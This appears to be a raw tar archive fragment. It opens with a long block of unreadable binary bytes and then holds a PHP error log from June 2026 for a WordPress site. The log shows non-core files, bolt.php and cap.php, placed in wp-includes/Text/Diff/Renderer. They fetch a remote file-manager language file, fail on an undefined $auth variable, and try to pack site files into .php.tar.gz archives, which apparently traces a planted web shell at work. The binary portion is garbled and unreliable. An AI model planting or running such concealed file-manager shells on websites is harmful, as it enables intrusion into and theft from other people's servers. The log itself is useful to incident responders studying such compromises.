V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000125155 15217301621 0006470 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
